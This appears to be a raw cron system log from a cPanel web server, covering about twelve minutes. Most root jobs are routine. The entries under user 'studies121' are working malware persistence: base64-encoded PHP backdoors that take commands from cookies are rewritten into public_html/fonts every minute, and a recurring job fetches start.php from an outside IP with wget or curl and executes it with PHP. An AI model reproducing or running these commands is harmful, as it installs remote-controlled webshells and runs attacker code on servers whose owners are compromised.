Sep  6 23:58:01 ip-184-168-122-23 CROND[15541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:59:01 ip-184-168-122-23 CROND[15627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 23:59:01 ip-184-168-122-23 CROND[15628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:59:01 ip-184-168-122-23 CROND[15631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:59:01 ip-184-168-122-23 CROND[15630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:00:01 ip-184-168-122-23 CROND[15722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:00:01 ip-184-168-122-23 CROND[15724]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:00:01 ip-184-168-122-23 CROND[15726]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:00:01 ip-184-168-122-23 CROND[15731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:00:01 ip-184-168-122-23 CROND[15733]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 00:00:01 ip-184-168-122-23 CROND[15734]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:00:01 ip-184-168-122-23 CROND[15735]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:00:01 ip-184-168-122-23 CROND[15738]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 00:00:01 ip-184-168-122-23 CROND[15736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:01:01 ip-184-168-122-23 CROND[15829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:01:01 ip-184-168-122-23 CROND[15832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:01:01 ip-184-168-122-23 CROND[15831]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 00:01:01 ip-184-168-122-23 CROND[15833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:01:01 ip-184-168-122-23 CROND[15835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:01:01 ip-184-168-122-23 CROND[15836]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15836]: starting 0anacron
Sep  7 00:01:01 ip-184-168-122-23 anacron[15850]: Anacron started on 2026-09-07
Sep  7 00:01:01 ip-184-168-122-23 anacron[15850]: Normal exit (0 jobs run)
Sep  7 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15853]: finished 0anacron
Sep  7 00:02:01 ip-184-168-122-23 CROND[15924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:02:01 ip-184-168-122-23 CROND[15925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:02:01 ip-184-168-122-23 CROND[15926]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:02:01 ip-184-168-122-23 CROND[15927]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:02:01 ip-184-168-122-23 CROND[15929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:03:01 ip-184-168-122-23 CROND[16016]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:03:01 ip-184-168-122-23 CROND[16019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:03:01 ip-184-168-122-23 CROND[16020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:03:01 ip-184-168-122-23 CROND[16018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:04:01 ip-184-168-122-23 CROND[16182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:04:01 ip-184-168-122-23 CROND[16184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:04:01 ip-184-168-122-23 CROND[16185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:04:01 ip-184-168-122-23 CROND[16183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:04:01 ip-184-168-122-23 CROND[16187]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:05:01 ip-184-168-122-23 CROND[16263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:05:01 ip-184-168-122-23 CROND[16268]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:05:01 ip-184-168-122-23 CROND[16272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:05:02 ip-184-168-122-23 CROND[16277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:05:02 ip-184-168-122-23 CROND[16281]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:05:02 ip-184-168-122-23 CROND[16280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:05:02 ip-184-168-122-23 CROND[16278]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 00:06:01 ip-184-168-122-23 CROND[16360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:06:01 ip-184-168-122-23 CROND[16362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:06:01 ip-184-168-122-23 CROND[16363]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:06:01 ip-184-168-122-23 CROND[16364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:06:01 ip-184-168-122-23 CROND[16365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:07:01 ip-184-168-122-23 CROND[16446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:07:01 ip-184-168-122-23 CROND[16447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:07:01 ip-184-168-122-23 CROND[16449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:07:01 ip-184-168-122-23 CROND[16451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:08:01 ip-184-168-122-23 CROND[16525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:08:01 ip-184-168-122-23 CROND[16528]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:08:01 ip-184-168-122-23 CROND[16529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:08:01 ip-184-168-122-23 CROND[16527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:08:01 ip-184-168-122-23 CROND[16530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:09:01 ip-184-168-122-23 CROND[16618]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:09:01 ip-184-168-122-23 CROND[16620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:09:01 ip-184-168-122-23 CROND[16621]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 00:09:01 ip-184-168-122-23 CROND[16622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:09:01 ip-184-168-122-23 CROND[16623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:10:01 ip-184-168-122-23 CROND[16802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:10:01 ip-184-168-122-23 CROND[16804]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 00:10:01 ip-184-168-122-23 CROND[16805]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
